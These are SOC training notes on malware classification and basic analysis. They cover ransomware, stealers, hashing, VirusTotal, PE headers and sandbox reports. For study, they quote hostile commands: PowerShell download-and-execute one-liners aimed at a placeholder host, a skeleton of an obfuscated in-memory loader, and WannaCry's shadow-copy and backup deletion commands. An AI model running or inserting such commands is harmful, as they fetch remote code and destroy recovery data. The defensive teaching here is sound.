Introduction to Malware for SOC — Notes

Malware = software or code built to damage systems, steal information, or give unauthorised access. Business impact: financial loss · stolen data · disrupted services · reputational damage.

Why SOC cares about classification: the category decides the response: isolate the machine? reset credentials? investigate data theft? Wrong label = wrong playbook.

1. Malware Categories at a Glance

Telling look-alikes apart

Key reality: real families span several categories. QakBot started as a banking trojan, became a RAT, then a loader for ransomware. Classify by what it's doing now.

2. Spotting Each Type in an Organisation

Response triage:

• Destructive / spreading (ransomware, wiper, worm) → contain first, investigate second.
• Theft (stealer, keylogger, spyware) → assume credentials are burned → reset passwords, revoke sessions/tokens.
• Control (C2/RAT) → there's a human behind it, so find every infected host before cleanup tips them off.

3. Malware Families & Case Studies

Malware family = programs sharing the same origin or codebase and behaving similarly. Grouping by family lets teams reuse known detections, IOCs, and response steps.

Akira ransom note — what it tells an analyst

• Filename akira_readme.txt → a fixed IOC to search for across endpoints.
• "Business-like" tone: offers a "security report," promises to be "negotiable."
• Contact via Tor browser + a .onion chat + victim-specific login code.
• Threatens to sell personal data, trade secrets, databases, source code if unpaid → data was exfiltrated before encryption. Treat as a data breach, not just an outage.

Stealer logs — where stolen data ends up

Underground forums sell/leak "stealer logs" in bulk, e.g. 355,472 lines in URL:LOGIN:PASS format, with a free sample and a paid set of 820K+.

• One infected PC can leak credentials for every site saved in the browser, including corporate SSO, VPN, cloud consoles.
• Stolen session cookies can bypass MFA.
• That's why stealer infections are so dangerous: they feed initial access for later attacks (including ransomware).

4. Binary vs Script-Based Malware

Binary tricks

• Double extension: invoice.pdf.exe. Windows hides known extensions by default, so the user sees invoice.pdf.
• Fake icons: PDF or Word icon on an executable.

Hashes (checksums)

md5sum file / sha256sum file → fingerprint of the exact bytes.

• Renaming the file or changing the extension → same hash → still identified.
• Changing even one byte (recompiling, repacking, polymorphic malware) → completely different hash. So a hash identifies one sample, not a whole family.
• Prefer SHA-256. MD5 is still used for quick lookups but is cryptographically broken (collisions possible).
• For family-level detection, AV/EDR use strings and byte sequences (e.g. YARA rules), not hashes.

5. Script-Based Malware: Warning Signs

A script is suspicious when it:

1. Downloads or runs files from the internet
2. Changes system settings or disables security tools
3. Runs unusual commands, especially encoded/obfuscated ones
4. Launches other programs (PowerShell, CMD) unexpectedly

Example 1 — Batch downloader (drop to disk)

@echo off
powershell -Command "Invoke-WebRequest http://malicious.site/payload.exe -OutFile C:\Users\Public\payload.exe" start C:\Users\Public\payload.exe

• @echo off → hides commands from view
• Invoke-WebRequest … -OutFile → download
• C:\Users\Public\ → world-writable folder (Windows equivalent of /tmp)
• start → execute the payload
• Note: as printed, start sits outside the PowerShell string without a separator (; or &), so it likely wouldn't run as written. The pattern (download → save → execute) is what matters.

Example 2 — PowerShell fileless one-liner

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')"

IEX + DownloadString = fileless execution. Top-tier detection signal.

6. Real Sample — Lumma Stealer Loader (Aug 2025)

Lumma Stealer: popular stealer written in C, sold as MaaS (Malware-as-a-Service): criminals rent it rather than build it.

Structure of the obfuscated PowerShell

function Swvldsp2195 {                                        # random function name
    $var1 = "var" + ([guid]::NewGuid().ToString('N').Substring(0, 11))   # random var names
    …
    $qble51 = '$' + $var1 + ' = "TVqQAAMAAAAEAAAA//8AALgAAAA…"'           # huge base64 blob
    …
      '$' + $var2 + ' = [Convert]::FromBase64String($' + $var1 + ');' +   # decode
      '$' + $var3 + ' = [System.Reflection.Assembly]::Load($' + $var2 + ');' +  # load in memory
      '$' + $var4 + ' = $' + $var3 + '.EntryPoint;' +                     # find Main()
      '$' + $var4 + '.Invoke($null, @());'                                # run it
    Invoke-Expression $qble51                                  # execute the built code
}
Swvldsp2195

Reading it step by step

1. Random names (Swvldsp2195, qble51) and variable names generated from new GUIDs on every run → text differs each execution → defeats simple string signatures.
2. Huge base64 blob → hides the real payload.
3. FromBase64String → decode the blob into bytes.
4. Reflection.Assembly::Load → load those bytes as a .NET program directly in memory.
5. .EntryPoint.Invoke → run its main function.
6. Invoke-Expression → executes the whole constructed script.

Result: the payload never touches disk → file-based AV may never scan it.

Analyst tricks hidden in this sample

• TVqQAAMAAAAEAAAA at the start of a base64 blob = base64 of the MZ header → the blob is a Windows executable (PE file). Memorise TVqQ / TVoA: spotting it instantly tells you "there's an .exe hidden in here."
• It's base64 decoding, not decryption. Base64 is encoding with no key; anyone can reverse it.
• Assembly.Load only accepts .NET assemblies, so the embedded file is a .NET loader stage, even though Lumma's core is written in C.

Detection signals for this class of loader

Defensive note: PowerShell Script Block Logging (Event ID 4104) records the de-obfuscated code as it runs, the Windows counterpart to auditd for this problem.

7. MITRE Tactics Mentioned

8. One-Page Summary

1. Classify malware by purpose → it determines the response.
2. 8 categories: adware, spyware, ransomware, wiper, C2/RAT, stealer, keylogger, cryptominer.
3. Ransomware = pay to recover. Wiper = no recovery. Modern ransomware also steals first (double extortion).
4. Real families cross categories (QakBot: banker → RAT → ransomware loader).
5. Stealer infections → credentials sold as stealer logs (URL:LOGIN:PASS) → future breaches. Reset everything.
6. Binary malware: .exe/.dll, double extensions, identified by hash (exact sample only; prefer SHA-256).
7. Script malware: .ps1/.js/.vbs/.bat/macros, easy to obfuscate, often fileless.
8. Red flags: download + execute, disabling security, encoded content, scripts spawning PowerShell/CMD.
9. -nop -w hidden + IEX + DownloadString = classic fileless PowerShell.
10. FromBase64String → Assembly::Load → Invoke = in-memory .NET loading. TVqQ in base64 = hidden .exe.

Intro to Malware Analysis for SOC — Notes

Goal: when a suspicious file or traffic shows up, reach an initial verdict (malicious or not, and roughly what it does) safely and methodically.

1. Who Analyses Malware, and Why

Typical inputs: a PE file (Portable Executable, .exe/.dll, the most common) · a malicious document · a pcap (network capture).

2. Safety Rules (non-negotiable)

Malware is a loaded weapon. Before any analysis:

1. Dedicated machine only. Never analyse on a box with any other purpose.
2. Store samples in password-protected archives (zip/rar) when not analysing or when moving them. Prevents accidental double-click detonation and AV quarantine. Community convention password: infected.
3. Extract only inside the isolated lab, and only when analysing.
4. Use a VM with a clean snapshot.
5. Cut or monitor all internet connections.
6. Revert to the clean snapshot after every session so leftovers from one sample can't contaminate the next.
7. Shared folders are a hazard. A host↔VM shared directory that stays mounted while malware runs can be encrypted or infected. Disconnect it before detonation.

Static analysis is still done in the lab. You aren't running the file, but one mis-click or a vulnerable parsing tool can execute it.

REMnux (Reverse Engineering Malware Linux): Linux distro preloaded with analysis tools. A Windows PE can't run natively on Linux, which adds a safety layer for static work.

3. The Three Levels of Analysis

Malware's dilemma: it can hide while sitting on disk, but to do its job it must run, and running code is observable. That's why dynamic analysis beats obfuscation.

Dynamic analysis advantage: in a lab, you control the noise (no real user, minimal services), so nearly everything you observe is the malware.

Malware's counter-move: detect the lab and take a benign code path → the sandbox reports "clean."

Order of work: basic static → basic dynamic → advanced (only if needed).

4. Basic Static Analysis

Purpose: size up the sample: what is it, what might it do, is it packed, how much effort will it take?

4a. True file type — file

file wannacry
# wannacry: PE32 executable (GUI) Intel 80386, for MS Windows

file reads magic bytes (PE starts with MZ = 0x5A4D), so it ignores misleading extensions like invoice.pdf.

4b. Readable text — strings

strings wannacry             # dump printable strings
strings wannacry > str       # save to file for vim/grep
strings wannacry | more      # page through (space = next page); `less` also works

What to look for in the WannaCry output:

Example: seeing URLDownloadToFile → it probably downloads a file and saves it to disk.

Tip: also try strings -el file for 16-bit "wide" (Unicode) strings, which Windows uses heavily and plain strings misses.

4c. Hashes — the file's fingerprint

md5sum wannacry      # 84c82835a5d21bbcf75a61706d8ab549
sha1sum wannacry
sha256sum wannacry   # ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

• Fixed-size ID for an exact file, shareable and searchable.
• Change one bit → completely different hash. Trivial for attackers to alter, so a hash identifies one sample, not a family.
• Commonly said without "sum": "md5," "sha256."
• Prefer SHA-256 for sharing (MD5/SHA-1 have known collisions).

Fuzzy/structural hashes VirusTotal shows (catch near-identical variants):

4d. VirusTotal

Search the HASH. Don't upload the file by default. Uploads are shared with the security community, including paying subscribers who can download your sample. Risks: leaking sensitive internal documents, and tipping off attackers that their custom malware has been found.

Reading tips:

• Different vendor names for the same thing (WannaCryptor, WanaCry, Ransom.JB) are normal. Look for consensus.
• Tags like self-delete, detect-debug-environment, long-sleeps, via-tor summarise behaviour quickly.
• Relations noise: google.com, firefox.settings.services.mozilla.com, *.in-addr.arpa, Azure CDNs are sandbox background traffic, not IOCs. Prioritise contacts with detections (e.g. 131.188.40.189 5/90).
• Compile timestamps can be faked. WannaCry shows a creation time of 2010-11-20, but it spread in 2017. Treat compile time as a hint, not a fact.

4e. The PE header

Metadata describing how Windows should load the file. Viewers: PE Tree (GUI), pecheck (CLI on REMnux), also pestudio/PE-bear.

Imports & exports

• Imports = functions borrowed from Windows DLLs instead of re-implemented. Best static clue to behaviour.
• Exports = functions offered to other programs. Normal for DLLs; many exports in an .exe is unusual.
• API names are mostly self-explanatory; verify unfamiliar ones in Microsoft docs.

WannaCry imports from ADVAPI32.dll: CreateServiceA, OpenServiceA, StartServiceA, OpenSCManagerA, registry functions, CryptReleaseContext → services + registry + crypto = consistent with ransomware that persists.

Note: TimeDateStamp: 0x0 in an import descriptor is normal for regular (unbound) imports. It's not the compile time and not suspicious.

Sections

Names vary by compiler/packer. Unusual names (.adata, UPX0, blank) are a clue.

Entropy (randomness, 0.0–8.0)

WannaCry: overall 7.995, .rsrc 7.9998, .text 6.40, .data 4.46. → Code looks normal, but the resource section is near-maximum random: it holds an embedded compressed archive (matching the zlib/unzip strings). High entropy means "compressed/encrypted," not automatically "packed."

5. Basic Dynamic Analysis — Sandboxes

Sandbox (military term: a sand model of terrain for rehearsals) = isolated environment mimicking the malware's target, where you detonate it and observe.

What a good sandbox needs

Sandbox options

6. Reading a Sandbox Report — WannaCry on Hybrid Analysis

Searched by MD5 → already submitted many times → opened the Windows 7 64-bit run.

Verdict: malicious · threat score 100/100 · AV detection 95% · tags #wannacry #ransomware #Worm. (Submitted filename: owo_im_not_ransomware_xd.exe: filenames prove nothing.)

Risk assessment highlights

MITRE mapping (as shown)

• T1047 WMI: runs WMI/WMIC queries
• T1044 File System Permissions Weakness: modifies ACLs (icacls)
• T1179 Hooking: installs hooks in running processes
• These two IDs are outdated in ATT&CK; today they live under T1574.010 and T1056.004. Sandbox mappings can lag behind the framework.

Process tree — the most valuable part

owo_im_not_ransomware_xd.exe
├─ attrib +h .                                   ← hide its folder
├─ icacls . /grant Everyone:F /T /C /Q           ← give Everyone full control
├─ taskdl.exe (×4)                               ← helper binaries
├─ cmd.exe /c <random>.bat
│   └─ cscript.exe //nologo m.vbs                ← VBScript creates a shortcut
├─ attrib +h +s %SAMPLEDIR%\$RECYCLE             ← hidden system folder
├─ @WanaDecryptor@.exe co
│   └─ taskhsvc.exe TaskData\Tor\taskhsvc.exe    ← Tor client (C2)
├─ cmd.exe /c start /b @WanaDecryptor@.exe vs
│   └─ @WanaDecryptor@.exe vs
│       └─ cmd.exe /c vssadmin delete shadows /all /quiet &
│                     wmic shadowcopy delete &
│                     bcdedit /set {default} bootstatuspolicy ignoreallfailures &
│                     bcdedit /set {default} recoveryenabled no &
│                     wbadmin delete catalog -quiet
└─ taskse.exe C:\@WanaDecryptor@.exe

The recovery-killer chain (MITRE T1490 Inhibit System Recovery), a near-certain ransomware signature:

Seeing any of these from a non-admin process = treat as active ransomware.

Network analysis

• DNS: "No relevant DNS requests."
• Contacted hosts: many IPs worldwide (DK, NL, DE, FR, US) on TCP 443 and 9001, all from taskhsvc.exe (PID 3356).
• Port 9001 is Tor's default relay (ORPort); .onion addresses appeared in memory.
• Why no DNS: Tor connects straight to relay IPs and resolves .onion inside the Tor network, so classic DNS monitoring sees nothing. Watch for traffic to known Tor relay IPs instead.

Extracted strings & files

• Strings grouped per process/file (3,589 total), searchable, downloadable.
• Recovered batch content:

  echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs
  echo SET om = ow.CreateShortcut("C:\@WanaDecryptor@.lnk")>> m.vbs
  echo om.TargetPath = "C:\@WanaDecryptor@.exe">> m.vbs
  echo om.Save>> m.vbs
  cscript.exe //nologo m.vbs
  del m.vbs

  → builds a VBScript that creates a shortcut to the decryptor/ransom tool, runs it, then deletes the script to clean up.
• 2,000 extracted files, including Tor libraries (libevent, libeay32), tor.exe, screenshots, network.pcap.
• Community comments at the end add context.

7. Anti-Analysis Techniques

7a. Packing & obfuscation (vs static analysis)

A packer compresses, encrypts, or obfuscates the real program. At runtime, a small stub unpacks the original code into memory and runs it.

Effect: strings shows garbage, imports reveal almost nothing.

Case: zmsuz3pinwl

strings zmsuz3pinwl     # DOS stub, RichH, .rsrc .data .adata, then junk (dApB, Qtq5…)
pecheck zmsuz3pinwl

Packed checklist: high entropy · W+X sections · tiny import table · odd/blank section names · garbage strings · no .text.

Next step: unpack first (advanced topic), or let a sandbox like CAPE dump the unpacked code from memory.

7b. Sandbox evasion (vs dynamic analysis)

Also common: checking CPU core count, RAM/disk size, uptime, and debugger presence (WannaCry queried kernel debugger info).

Defender takeaway: a clean sandbox result is not proof of safety. Look at long-sleeps / detect-debug-environment tags, and lab realism (fake user files, history, hidden VM artefacts) matters.

8. Workflow Cheat Sheet

1. Handle safely      → password-protected archive, isolated VM, snapshot taken
2. Identify           → file <sample>
3. Fingerprint        → sha256sum <sample>
4. Reputation         → search hash on VirusTotal / Hybrid Analysis (don't upload)
5. Strings            → strings <sample> | less   (APIs, URLs, IPs, library names)
6. PE header          → pecheck <sample>  (imports, sections, entropy, packer signs)
7. Packed?            → yes → unpack / CAPE memory dump
8. Dynamic            → sandbox: process tree, file/registry changes, network
9. Verdict + IOCs     → hashes, IPs, domains, filenames, commands → detections & hunting
10. Revert VM

9. One-Page Summary

1. Analysis serves detection, response, hunting, product, and OS security.
2. Safety first: isolated VM, snapshots, archived samples (infected), no live shared folders, revert after.
3. Static = no execution, beaten by packing. Dynamic = run in a sandbox, beaten by evasion. Advanced = disassembler + debugger.
4. file → real type · strings → APIs/URLs/libraries · hashes → identity · pecheck → structure.
5. Search hashes, don't upload. Uploads leak data and alert attackers.
6. Imports reveal intent: services + registry + crypto ⇒ ransomware-like.
7. Entropy > ~7.2 ⇒ compressed/encrypted (packed or embedded archive).
8. Packed signs: no .text, W+X sections, few imports, junk strings, odd section names.
9. Sandbox process trees are gold: vssadmin delete shadows / wbadmin delete catalog / bcdedit recoveryenabled no = ransomware.
10. Tor C2 = port 9001/443 to scattered relay IPs, no DNS, .onion strings.
11. Evasion: long sleeps, user-activity checks, footprinting, VM detection → "clean" ≠ safe.
12. Compile timestamps and filenames can lie (owo_im_not_ransomware_xd.exe).